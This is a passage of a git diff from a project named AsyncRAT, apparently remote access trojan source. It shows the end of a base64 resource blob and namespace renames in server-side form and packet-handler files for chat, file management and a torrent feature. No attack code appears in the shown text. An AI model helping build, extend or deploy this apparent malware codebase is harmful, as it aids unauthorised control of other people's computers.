+ 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
+ gg==
+
+
\ No newline at end of file
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormTorrent.Designer.cs b/AsyncRAT-C#/Server/Forms/FormTorrent.Designer.cs
similarity index 99%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormTorrent.Designer.cs
rename to AsyncRAT-C#/Server/Forms/FormTorrent.Designer.cs
index abb3d6a..0eb4650 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormTorrent.Designer.cs
+++ b/AsyncRAT-C#/Server/Forms/FormTorrent.Designer.cs
@@ -1,4 +1,4 @@
-namespace AsyncRAT_Sharp.Forms
+namespace Server.Forms
{
partial class FormTorrent
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormTorrent.cs b/AsyncRAT-C#/Server/Forms/FormTorrent.cs
similarity index 94%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormTorrent.cs
rename to AsyncRAT-C#/Server/Forms/FormTorrent.cs
index 630a7fe..d1456ce 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormTorrent.cs
+++ b/AsyncRAT-C#/Server/Forms/FormTorrent.cs
@@ -1,5 +1,5 @@
-using AsyncRAT_Sharp.MessagePack;
-using AsyncRAT_Sharp.Sockets;
+using Server.MessagePack;
+using Server.Sockets;
using System;
using System.Collections.Generic;
using System.ComponentModel;
@@ -12,7 +12,7 @@ using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
-namespace AsyncRAT_Sharp.Forms
+namespace Server.Forms
{
public partial class FormTorrent : Form
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormTorrent.resx b/AsyncRAT-C#/Server/Forms/FormTorrent.resx
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormTorrent.resx
rename to AsyncRAT-C#/Server/Forms/FormTorrent.resx
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleChat.cs b/AsyncRAT-C#/Server/Handle Packet/HandleChat.cs
similarity index 90%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleChat.cs
rename to AsyncRAT-C#/Server/Handle Packet/HandleChat.cs
index e5d1ee1..f32f3ac 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleChat.cs
+++ b/AsyncRAT-C#/Server/Handle Packet/HandleChat.cs
@@ -1,6 +1,6 @@
-using AsyncRAT_Sharp.Forms;
-using AsyncRAT_Sharp.MessagePack;
-using AsyncRAT_Sharp.Sockets;
+using Server.Forms;
+using Server.MessagePack;
+using Server.Sockets;
using System;
using System.Collections.Generic;
using System.Linq;
@@ -9,7 +9,7 @@ using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
-namespace AsyncRAT_Sharp.Handle_Packet
+namespace Server.Handle_Packet
{
public class HandleChat
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleFileManager.cs b/AsyncRAT-C#/Server/Handle Packet/HandleFileManager.cs
similarity index 98%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleFileManager.cs
rename to AsyncRAT-C#/Server/Handle Packet/HandleFileManager.cs
index 31e344a..1194e95 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleFileManager.cs
+++ b/AsyncRAT-C#/Server/Handle Packet/HandleFileManager.cs
